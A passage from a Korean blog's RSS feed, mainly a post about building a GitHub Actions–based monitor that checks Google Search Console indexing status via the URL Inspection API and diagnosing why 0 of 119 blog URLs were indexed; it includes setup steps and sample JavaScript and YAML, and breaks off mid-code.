&lt;p&gt;여러분은 QA 업무에서 Claude를 어떻게 활용하고 계신가요? 댓글로 경험을 공유해주시면, 다음 포스팅에서 실전 사례로 다뤄보겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Google Search Console 0/119 미색인 복구 — 자동 모니터와 실제 진단 과정]]></title><description><![CDATA[2026년 8월 14일, 블로그의 URL Inspection API 결과를 다시 수집했습니다. 결과는 119개 중 색인 0개였습니다. 이번에는 단순히 "색인이 안 된다"에서 멈추지 않고 상태를 세 그룹으로 나눠 확인했습니다. Search Console…]]></description><link>https://blog.javapark.kr/gsc-indexing-monitor/</link><guid isPermaLink="false">https://blog.javapark.kr/gsc-indexing-monitor/</guid><pubDate>Wed, 22 Apr 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;2026년 8월 14일, 블로그의 URL Inspection API 결과를 다시 수집했습니다. 결과는 &lt;strong&gt;119개 중 색인 0개&lt;/strong&gt;였습니다.&lt;/p&gt;
&lt;p&gt;이번에는 단순히 &quot;색인이 안 된다&quot;에서 멈추지 않고 상태를 세 그룹으로 나눠 확인했습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Search Console 상태&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;URL 수&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;발견됨 - 현재 색인이 생성되지 않음&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;81&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Google에는 아직 알려지지 않은 URL&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;30&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;크롤링됨 - 현재 색인이 생성되지 않음&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;색인됨&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;여기서 중요한 사실은 &lt;strong&gt;오류가 0개이고 canonical 불일치도 0개였다는 점&lt;/strong&gt;입니다. Googlebot이 실제로 가져간 페이지는 응답에 성공했고, robots.txt와 &lt;code class=&quot;language-text&quot;&gt;noindex&lt;/code&gt;에도 막히지 않았습니다. 기술적으로 접근할 수 있다는 사실과 Google이 색인을 선택한다는 사실은 별개였습니다.&lt;/p&gt;
&lt;p&gt;이 글은 2026년 4월에 만들었던 자동 모니터 구축기에, 4개월 뒤 실제로 발생한 &lt;strong&gt;모니터 중단과 0/119 미색인 복구 과정&lt;/strong&gt;을 추가한 기록입니다. 결과가 좋아 보이는 부분만 남기지 않고, 무엇이 실패했고 어떤 신호까지 회복됐는지 그대로 정리합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 &quot;자동 모니터링&quot;인가 — 수동 GSC의 한계&lt;/h2&gt;
&lt;p&gt;Google Search Console을 &lt;strong&gt;수동으로&lt;/strong&gt; 여는 방식은 몇 가지 치명적 한계가 있습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;수동 체크의 한계&lt;/th&gt;
&lt;th&gt;영향&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;자발적 로그인이 필요&lt;/td&gt;
&lt;td&gt;바쁘면 2~3주씩 안 들어감&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;전체 URL 일괄 조회가 불편&lt;/td&gt;
&lt;td&gt;보통 문제 있는 URL 하나 찍어서 확인, 나머지는 모른 채&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;알림 기능이 제한적&lt;/td&gt;
&lt;td&gt;이메일 알림은 큰 이슈만, &quot;천천히 밀린 인덱싱&quot;은 놓침&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;추이 추적이 어려움&lt;/td&gt;
&lt;td&gt;지난달 대비 인덱싱 비율 변화 같은 건 수동 기록해야 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;여러 속성 관리가 번거로움&lt;/td&gt;
&lt;td&gt;블로그·쇼핑몰·랜딩 각각 따로 체크&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;자동화의 핵심: &quot;없어도 되는 작업&quot;은 자동화하고, 사람은 결과만 확인&lt;/strong&gt;하는 흐름으로 전환.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;전체 아키텍처 — 주간 5단계 파이프라인&lt;/h2&gt;
&lt;p&gt;시스템의 흐름은 단순합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;[GitHub Actions cron]
         ↓
  1. sitemap-index.xml fetch → URL 전체 추출
         ↓
  2. URL마다 GSC URL Inspection API 호출 (서비스 계정 인증)
         ↓
  3. 이전 상태(data/indexing-status.json)와 diff 계산
         ↓
  4. 변화가 있으면 Telegram HTML 메시지 전송
         ↓
  5. 새 상태를 JSON에 저장하고 자동 커밋&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;각 단계는 &lt;strong&gt;독립된 모듈&lt;/strong&gt;로 분리해서, 하나만 바꿔도 나머지에 영향 없게 설계합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/9a8bd225cdac57086b9e83c0a8c4db12/64756/diagram-pipeline.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 43.25581395348837%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABvUlEQVR42g2RWW6jQABEuUHkiK27wawNvbCvzW5jjOOJM8lP5v5HGaSnUv08qaSS3vCkhJOXXoN81YJRC68mvgCnBl4F/Qbh1giEGXZn0pukPzrCAro1cGvdrSWleJ3FT77+lrd/qHjC7MtOXgZbIJsgmxG/mNHVTFYjvhrRBfIZ0AnEi85GzS4lkD6c9q/bf5+rT41fQbyi9GbkO0zvKNuMbEPZDrMdpRtINj1adX7R2l3JVtUqpFP6cUr29+iG8mdAXz59uOyD50vbZCxpqn5u8lvDNk6XMpqMalSqCfDeShb5nEuw/ITVl0wXnV54+sPTbxOvIR+6riHRQRWxYSxePJyxK8xitsZdpUIlrWzmEghHzanfUCbbjU1mKxgUVFpe7bPB9EpoRY5XZs0Ts1lHmREKi04nI3m3c/lcSDC+mummkEknE0mfYfywg9VnY9kuUSZ8mhEq4nj1PYGdDtLOa+5WfpFxI6NDTkZ33OG0Wf0WDA+yPOnyBw97ON9xf4NRC7gATOik1cNWPSBCCYXsH/IxG7fweI90Bh1MNpp8PPLoiPQg7AAWut9qXqO6teLUql2rVnOgO0I2iv/EC15Pxu7oogAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/9a8bd225cdac57086b9e83c0a8c4db12/a1b3b/diagram-pipeline.webp 215w,
/static/9a8bd225cdac57086b9e83c0a8c4db12/fc700/diagram-pipeline.webp 430w,
/static/9a8bd225cdac57086b9e83c0a8c4db12/521f7/diagram-pipeline.webp 860w,
/static/9a8bd225cdac57086b9e83c0a8c4db12/cbd37/diagram-pipeline.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/9a8bd225cdac57086b9e83c0a8c4db12/f7886/diagram-pipeline.png 215w,
/static/9a8bd225cdac57086b9e83c0a8c4db12/bc750/diagram-pipeline.png 430w,
/static/9a8bd225cdac57086b9e83c0a8c4db12/3e3fe/diagram-pipeline.png 860w,
/static/9a8bd225cdac57086b9e83c0a8c4db12/64756/diagram-pipeline.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/9a8bd225cdac57086b9e83c0a8c4db12/3e3fe/diagram-pipeline.png&apos; alt=&apos;GSC 인덱싱 모니터 주간 5단계 파이프라인 — sitemap fetch → URL Inspection API → Diff → Telegram → 자동 커밋&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;GSC 인덱싱 모니터 주간 5단계 파이프라인 — sitemap fetch → URL Inspection API → Diff → Telegram → 자동 커밋&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2026년 8월 실제 복구 — 성공한 워크플로가 색인 성공은 아니다&lt;/h2&gt;
&lt;h3&gt;1. 먼저 크롤링 차단 여부를 분리했다&lt;/h3&gt;
&lt;p&gt;원인을 추측하기 전에 다음 항목을 실제 응답과 Search Console에서 확인했습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;robots.txt&lt;/code&gt;에서 Googlebot을 차단하지 않는가&lt;/li&gt;
&lt;li&gt;페이지가 HTTP 200으로 응답하는가&lt;/li&gt;
&lt;li&gt;HTML에 &lt;code class=&quot;language-text&quot;&gt;noindex&lt;/code&gt;가 없는가&lt;/li&gt;
&lt;li&gt;페이지 canonical이 자기 자신을 가리키는가&lt;/li&gt;
&lt;li&gt;sitemap에 canonical과 동일한 URL이 들어 있는가&lt;/li&gt;
&lt;li&gt;Search Console 수동 라이브 테스트에서 색인 가능 판정이 나오는가&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;대표 글인 &lt;code class=&quot;language-text&quot;&gt;/helm-package-management/&lt;/code&gt;는 Googlebot 스마트폰으로 가져오기 성공, 크롤링 허용, 색인 허용, self-canonical까지 모두 확인됐습니다. 그런데도 상태는 &lt;code class=&quot;language-text&quot;&gt;크롤링됨 - 현재 색인이 생성되지 않음&lt;/code&gt;이었습니다. 이 시점부터 서버 장애보다 &lt;strong&gt;Google의 색인 선택과 사이트 신호&lt;/strong&gt;를 봐야 한다고 판단했습니다.&lt;/p&gt;
&lt;h3&gt;2. live sitemap과 Search Console의 기록이 달랐다&lt;/h3&gt;
&lt;p&gt;실제 &lt;code class=&quot;language-text&quot;&gt;sitemap-0.xml&lt;/code&gt;에는 119개 URL이 있었지만 Search Console에는 과거에 읽은 75개가 표시되고 있었습니다. 제출 기록도 몇 달 전 상태에 머물러 있었습니다.&lt;/p&gt;
&lt;p&gt;따라서 다음 순서로 처리했습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;배포 산출물에서 sitemap URL 119개와 canonical을 대조했습니다.&lt;/li&gt;
&lt;li&gt;쿼리 문자열이 붙은 canonical과 trailing slash 불일치를 정규화했습니다.&lt;/li&gt;
&lt;li&gt;홈을 canonical로 가리키던 404 페이지를 &lt;code class=&quot;language-text&quot;&gt;/404/ + noindex&lt;/code&gt;로 분리했습니다.&lt;/li&gt;
&lt;li&gt;수정 사항을 배포한 뒤 실제 HTML 응답을 다시 확인했습니다.&lt;/li&gt;
&lt;li&gt;Search Console에 &lt;code class=&quot;language-text&quot;&gt;sitemap-0.xml&lt;/code&gt;을 재제출했습니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;사이트 구조 수정과 함께 &lt;a href=&quot;/04-seo-optimization/&quot;&gt;Gatsby SEO 최적화&lt;/a&gt;와 &lt;a href=&quot;/09-netlify-migration/&quot;&gt;Netlify 마이그레이션 기록&lt;/a&gt;도 다시 점검했습니다. 도메인·배포 플랫폼을 바꾼 적이 있다면 과거 sitemap 제출 성공 기록만 믿지 말고 &lt;strong&gt;현재 live URL과 다시 비교&lt;/strong&gt;하는 편이 안전합니다.&lt;/p&gt;
&lt;h3&gt;3. 자동 모니터는 인증 정보 누락으로 멈춰 있었다&lt;/h3&gt;
&lt;p&gt;주간 모니터가 몇 달 동안 실패한 직접 원인은 GitHub Actions의 &lt;code class=&quot;language-text&quot;&gt;GSC_SERVICE_ACCOUNT_KEY&lt;/code&gt; 누락이었습니다. 실패 로그가 의존성 설치 뒤에야 나타나 원인을 찾기도 불편했습니다.&lt;/p&gt;
&lt;p&gt;이번에는 워크플로 시작 단계에서 필수 Secret을 먼저 검사하고, 서비스 계정 키를 JSON 원문과 Base64 두 형식으로 모두 읽도록 변경했습니다. &lt;code class=&quot;language-text&quot;&gt;package-lock.json&lt;/code&gt;도 추가하고 설치 명령을 &lt;code class=&quot;language-text&quot;&gt;npm ci&lt;/code&gt;로 바꿔 실행 환경을 고정했습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Check required GSC credential
  &lt;span class=&quot;token key atrule&quot;&gt;env&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;GSC_SERVICE_ACCOUNT_KEY&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; $&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; secrets.GSC_SERVICE_ACCOUNT_KEY &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
    if [ -z &quot;$GSC_SERVICE_ACCOUNT_KEY&quot; ]; then
      echo &quot;::error title=Missing GSC credential::Add GSC_SERVICE_ACCOUNT_KEY&quot;
      exit 1
    fi&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Install dependencies
  &lt;span class=&quot;token key atrule&quot;&gt;working-directory&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; scripts/gsc&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;monitor
  &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; npm ci &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;no&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;audit &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;no&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;fund&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;4. 우선 URL 5개는 같은 날 다시 크롤링됐다&lt;/h3&gt;
&lt;p&gt;sitemap 재제출 후 다음 URL 5개만 우선순위 크롤링 대기열에 넣었습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;홈&lt;/li&gt;
&lt;li&gt;Paseo 코딩 에이전트 오케스트레이션&lt;/li&gt;
&lt;li&gt;Meta Astryx 디자인 시스템&lt;/li&gt;
&lt;li&gt;VS Code 로컬 LLM&lt;/li&gt;
&lt;li&gt;Helm 패키지 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;그날 다시 실행한 모니터에서 다섯 URL 모두 최근 크롤링 시간이 생겼고 페이지 가져오기는 성공했습니다. 홈과 대표 글은 canonical도 동일하게 잡혔습니다. 하지만 색인 수는 여전히 0이었습니다.&lt;/p&gt;
&lt;p&gt;이 결과가 이번 진단의 핵심입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;색인 요청 성공은 크롤링 대기열에 들어갔다는 뜻이지, 검색 노출을 보장한다는 뜻이 아닙니다.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이후에는 같은 URL을 반복 제출하지 않고, 주간 모니터에서 &lt;code class=&quot;language-text&quot;&gt;indexed&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;newlyIndexed&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;stillPending&lt;/code&gt; 변화를 관찰하기로 했습니다. 동시에 크롤링됐지만 미색인된 글부터 직접 경험, 내부 링크, 중복 도입부를 보강하는 쪽으로 작업 우선순위를 바꿨습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;사전 준비 3종 — 총 20분&lt;/h2&gt;
&lt;h3&gt;1) GCP 서비스 계정 (15분)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://console.cloud.google.com&quot;&gt;Google Cloud Console&lt;/a&gt;에서 프로젝트 생성 (예: &lt;code class=&quot;language-text&quot;&gt;gsc-monitor&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;APIs &amp;#x26; Services → Library → &lt;em&gt;Google Search Console API&lt;/em&gt; 활성화&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IAM &amp;#x26; Admin → Service Accounts&lt;/strong&gt; → 서비스 계정 생성 (역할 없이도 OK)&lt;/li&gt;
&lt;li&gt;서비스 계정 → &lt;strong&gt;Keys&lt;/strong&gt; 탭 → &lt;strong&gt;Add Key → JSON&lt;/strong&gt; → 다운로드&lt;/li&gt;
&lt;li&gt;다운로드한 JSON을 &lt;strong&gt;GitHub Secret&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;GSC_SERVICE_ACCOUNT_KEY&lt;/code&gt;에 &lt;strong&gt;전체 내용&lt;/strong&gt; 붙여넣기&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2) Search Console 권한 부여 (2분)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://search.google.com/search-console&quot;&gt;Search Console&lt;/a&gt; → 대상 속성 선택&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Settings → Users and permissions → Add User&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;서비스 계정 이메일(&lt;code class=&quot;language-text&quot;&gt;xxx@yyy.iam.gserviceaccount.com&lt;/code&gt;) 추가, &lt;strong&gt;Restricted&lt;/strong&gt; 권한이면 충분&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;3) Telegram Bot (3분)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Telegram &lt;a href=&quot;https://t.me/BotFather&quot;&gt;@BotFather&lt;/a&gt;에게 &lt;code class=&quot;language-text&quot;&gt;/newbot&lt;/code&gt; → HTTP API Token 수신 → &lt;code class=&quot;language-text&quot;&gt;TELEGRAM_BOT_TOKEN&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;생성한 봇에게 &lt;code class=&quot;language-text&quot;&gt;/start&lt;/code&gt; 아무 메시지 (봇이 먼저 말 못 걸기 때문)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://t.me/userinfobot&quot;&gt;@userinfobot&lt;/a&gt;에 &lt;code class=&quot;language-text&quot;&gt;/start&lt;/code&gt; → 본인 chat_id → &lt;code class=&quot;language-text&quot;&gt;TELEGRAM_CHAT_ID&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;코드 구조 — 4개 모듈로 분리&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;scripts/gsc-monitor/
├── package.json              # googleapis + fast-xml-parser
├── run.js                    # 오케스트레이션 (40줄)
└── lib/
    ├── sitemap.js            # sitemap-index → URL 배열
    ├── gsc.js                # URL Inspection API 호출
    ├── diff.js               # 이전 결과와 비교, 요약 계산
    └── telegram.js           # HTML 메시지 빌더 + 전송

.github/workflows/gsc-monitor.yml    # cron + workflow_dispatch
data/indexing-status.json            # 상태 스냅샷 (봇이 자동 커밋)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;lib/sitemap.js — sitemap-index 파싱&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; XMLParser &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;fast-xml-parser&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; parser &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;XMLParser&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;ignoreAttributes&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fetchXml&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; res &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string-property property&quot;&gt;&quot;User-Agent&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;gsc-monitor/1.0&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;res&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ok&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;url&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; → HTTP &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;res&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; parser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; res&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;extractAllUrls&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;indexUrl&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; index &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fetchXml&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;indexUrl&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; children &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;concat&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sitemapindex&lt;span class=&quot;token operator&quot;&gt;?.&lt;/span&gt;sitemap &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; urlSets &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;
    children&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
